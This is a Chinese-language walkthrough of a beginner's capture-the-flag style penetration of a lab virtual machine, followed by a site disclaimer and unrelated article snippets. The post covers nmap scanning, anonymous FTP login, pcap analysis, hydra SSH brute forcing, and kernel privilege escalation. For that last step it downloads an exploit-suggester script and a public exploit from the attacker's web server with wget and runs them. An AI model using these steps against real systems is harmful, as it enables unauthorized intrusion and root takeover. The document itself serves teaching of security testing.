一次零基础靶机渗透细节全程记录

一、打靶总流程

1.确定目标:

        在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

二、打靶实例详解


文章内的靶机及脚本关注后私信获取

        1.首先将靶机以及kali启动。

         2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

         3.从kali中打开终端,执行ip a命令查看kali的ip地址。

        4.使用nmap工具来确认要打的靶机的ip地址。 

nmap -sP 192.168.190.0/24

        在上面扫描出的ip地址中,.1、.2、.254、.138都是kali自身的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.139。

        5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。

        6.扫描靶机开放了哪些端口。

nmap -p- 192.168.190.139

        可以看到此靶机开放了21、22、80端口。其中:开放了21端口ftp,可以想到可能存在弱口令;开放了22端口ssh,可以想到对其进行爆破,然后看到80端口web端,可以对其进行常见漏洞测试。 

        7.对开放的各个端口的进行详细查看。

namp -p- -sS -sV -A 192.168.190.139

        8. 在各个端口的详细信息中,可以看到21端口有个Anonymous登入成功过,因此可以尝试进行弱口令登入,账户名和密码都输入为Anonymous进行尝试。 

        9.尝试后发现确实存在弱口令问题,成功登录了进去。

         10.登录进去之后执行ls命令查看当前目录下有哪些文件,来继续进行信息收集。

         11.发现一个名为“lol.pcap”的文件,我们将其下载到我们本地。

        12.发现是一个流量数据,因此使用wireshark工具对其进行打开。

        13.打开后可以看到下面的内容。

        14.我们随便点击一条流量数据,点击TCP追踪流,可以看到下面的信息,但是并没有发现有用的信息。

        15. 将其关闭后我们可以看到软件上方的筛选信息,此时为0。

        16.将其更改成1后再进行TCP流追踪,可以看到一个txt文件。

        17.此时想到最开始进行扫描的时候,靶机存在开放的80端口,因此想到对其进行搜索,发现搜索结果返回404,说明搜索的结果是没用的。

       18.回到流量工具内,将筛选框后面的1更改为2后继续追踪TCP流,根据其英文解释,可以想到“sup3rs3cr3tdirlol”可能是一个文件的路径,因此再次尝试进行拼接。

         19.拼接后网页返回了下面的内容。

        20.可以看到存在一个名为“roflmao”的文件,点击后将其下载下来。

         21.来到下载路径下后,使用file命令或者strings命令将文件打开。

        22.可以看到还原出来的内容里存在下面的一句话,因此我们尝试将获得的信息再次进行拼接后搜索。

        23.再次进行拼接搜索后进入了下面的页面。

         24.在这里点击“good_luck”后进入了到了下面的页面。

        25. 在此页面内又发现了一个txt文件,点击后可以看到下面的内容,这里就相当于是一个用户名的字典,找到了有用的用户名。

         26.在桌面上创建一个名为user的文档来存储这些用户名。

        27.回到浏览器的前面的页面,发现存在一个可能存在密码的文件。

         28.进入后又发现了一个txt文件,打开后可以看到下面的内容,因此可以想到密码有可能是Good_job_:)也有可能是Pass.txt。

         29.将猜想的可能的密码也放入一个txt文档中当作密码的字典。

        30. 来到桌面路径下使用hydra工具对其进行爆破,可以看到成功将用户名和密码爆破了出来。 

hydra -L user -P password 192.168.190.139 ssh

        31.接下来就使用爆破出来的用户名和密码进行登录,发现登录成功了。 

ssh overflow@192.168.190.139

        32.但是发现此时的权限是低权限:

  • id为:0 root    
  • 0 < id < 1000 服务用户: 为服务提供权限  
  • 1000 <= id <=60000 普通

        因此还要进行提权,下面是linux提权的几种方式:

  • 内核提权---脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
  • 利用suid提权 
  • 利用sudo提权
  • mfs提权
  • mysql提权 包括udf mof提权方式

        33.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。

python -c 'import pty; pty.spawn("/bin/bash")'

        34.接下来开始提权。

        35.首先在本地开启一个web服务。

python3 -m http.server 8083

        35. 直接执行下面的命令将脚本文件下载到靶机上,但是发现下载失败了,因为此时权限不够。

wget http://192.168.190.138:8083/les.sh

        36.切换到tmp目录下再次进行下载,发现下载成功了,因为其是一个临时文件,所以在此目录下的权限会高一些,因此就可以成功下载了。

       37.下载完之后将web服务关闭,在终端内按CTRL+z。 

      38.给其添加一个权限后进行执行。

chmod +x les.sh./les.sh

        39. 这个脚本执行后会检测Linux内核版本存在哪些漏洞,检测出来的结果的颜色越深说明可以被利用的可能性越大。

        40.接下来进行exp的利用就可以了。

        41.下面演示第二种提权方式。

        42.可以通过自己获取到Linux的版本信息,然后在kali内进行搜索。

uname -a

        43.获取到版本信息后执行下面的命令在kali内进行搜索。

searchsploit Linux 4-Tr0ll 3.13.0

        44.在此标红的两条就是满足条件的。

        45.接下来的思路就是将本都的exp搞到靶机的服务器内进行运行,就可以实现提权的效果。

        46.获取到exp的绝对路径。

locate linux/local/37292.c

        47.将其存放在桌面。

cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面

        48.将其打开后就可以看到exp的内容。

        49. 再从本地开启web服务。

        50. 将exp下载到靶机。

wget http://192.168.190.138:8085/37292.c

        51.下载完之后将web服务关闭,在终端内按CTRL+z。 

        52.将其进行编译和执行,此时再次查看权限,可以看到此时的权限就是root权限了。

        53.查看靶机内的文件proof.txt,至此我们就成功拿下了靶机!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/19795.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Matlab】智能优化算法_非洲秃鹫优化算法AVOA

【Matlab】智能优化算法_非洲秃鹫优化算法AVOA 1.背景介绍2.数学模型3.文件结构4.算法流程图5.伪代码6.详细代码及注释6.1 AVOA.m6.2 boundaryCheck.m6.3 exploitation.m6.4 exploration.m6.5 initialization.m6.6 levyFlight.m6.7 main.m6.8 ObjectiveFunction.m6.9 random_se…

前端处理后端返回的文件流,进行文件下载

二进制流格式 Blob格式 前言&#xff1a; 需求&#xff1a;根据后端接口返回的文件流进行数据处理&#xff0c;并实现文件的下载&#xff0c;且下载文件为word文档. 代码实现&#xff1a; //下载文件 async function DownLoadFile(row) {let res await DownLoadFileAPI(row.…

目标检测学习

目录 1、目标定位 2、特征点检测 3、目标检测 4、滑动窗口的卷积实现 5、Bounding Box 预测&#xff08;Bounding box predictions&#xff09; 6、交并化 7、非极大值抑制 8、Anchor Boxes 9、YOLO算法 1、目标定位 2、特征点检测 如何检测特征点&#xff08;以人的部…

【UE4 C++】根据指定路径生成静态网格体

在上一篇博客中&#xff08;【UE C】蓝图调用C函数&#xff09;&#xff0c;我们用C创建了一个蓝图函数库&#xff0c;本篇文章在这个蓝图函数库基础上增加一个方法&#xff0c;该方法只需输入一个文件目录路径&#xff0c;就可在场景中生成该目录下得所有静态网格体。&#xf…

ChatGPT对高校人才培养模式的挑战与应对策略思考

酷吗&#xff1f;输入指令后直接就能生成一大串代码&#xff0c;即使不懂相关技术也能玩转编程&#xff0c;这就是ChatGPT赋予你的“新能力”&#xff0c;除了写代码&#xff0c;ChatGPT还能帮你执行各种五花八门的任务。 AI工具如ChatGPT在行业中的广泛应用对于行业的人才结…

解密Sketch文件打开秘籍:简单两步操作!

虽然Figma&#xff0c;sketch,xd都很好用&#xff0c;但是设计师在设计工作流中经常会遇到无法在这三者软件中自由导入导出的情况。但是只要我们转变一下思路&#xff0c;因为这三种软件都支持导入sketch格式,所以我们只要将文件格式转成sketch&#xff0c;就能自由的在不同软件…

【华为鸿蒙3.0/荣耀安卓12使用VMOS Pro的激活方式】

关于华为鸿蒙3.0/荣耀安卓12如何解除进程限制&#xff0c;这里提供以下教程供小伙伴们参考。 需要准备&#xff1a;电脑一台&#xff0c;数据线一根。 第一步&#xff1a;打开手机USB调试模式。 确保USB数据线已连接手机和电脑&#xff0c;打开手机“开发者选项”&#xff0…

【Distributed】zookeeper+kafka的应用及部署

文章目录 一、zookeeper1. zookeeper的概述1.1 Zookeeper 定义1.2 Zookeeper 工作机制1.3 Zookeeper 特点1.4 Zookeeper 数据结构1.5 Zookeeper 应用场景1.6 Zookeeper 选举机制第一次启动选举机制非第一次启动选举机制选举Leader规则 2. 部署 Zookeeper 集群2.1 安装前准备2.2…

HarmonyOS学习路之开发篇—流转(多端协同 一)

多端协同开发 场景介绍 开发者在应用FA中通过调用流转任务管理服务、分布式任务调度的接口&#xff0c;实现多端协同。 主要流程如下&#xff1a; 设备A上的应用FA向流转任务管理服务注册一个流转回调。 Alt1-系统推荐流转&#xff1a;系统感知周边有可用设备后&#xff0c;主…

onvif库封装及qt工程调用onvif库实现设备搜索、获取码流地址等功能

一、前言&#xff1a; 本篇的OnvifManager工程是在vs2010下进行开发编译&#xff0c;它实现了对onvif库的封装调用&#xff0c;目前工程接口实现了对onvif的搜索、码流地址获取、设备重启接口&#xff0c;其他接口后续可以通过更改工程代码进行添加。qt工程myonvif是对OnvifMan…

uniapp uni实人认证

uni实人认证依赖 目前仅支持App平台。 h5端活体人脸检测&#xff0c;使用的是百度云的h5人脸实名认证 使用要求 1、app端 在使用前&#xff0c;请确保您已注册DCloud账号&#xff0c;并已完成实名认证。 然后需要按文档开通服务 业务开通 | uni-app官网 2、h5端 在使用前…

vue3向对象中添加属性

使用场景&#xff1a;后端返回一个数组对象结构&#xff0c;会出现可能需要前端自己向对象中添加一个新的字段 在vue2中我们常常会遇到明明已经改变了数据&#xff0c;视图却没有实时更新这样的问题 这时vue2就提供了一个方法就是$set this.$set(this.userInfo, age, 12)但是在…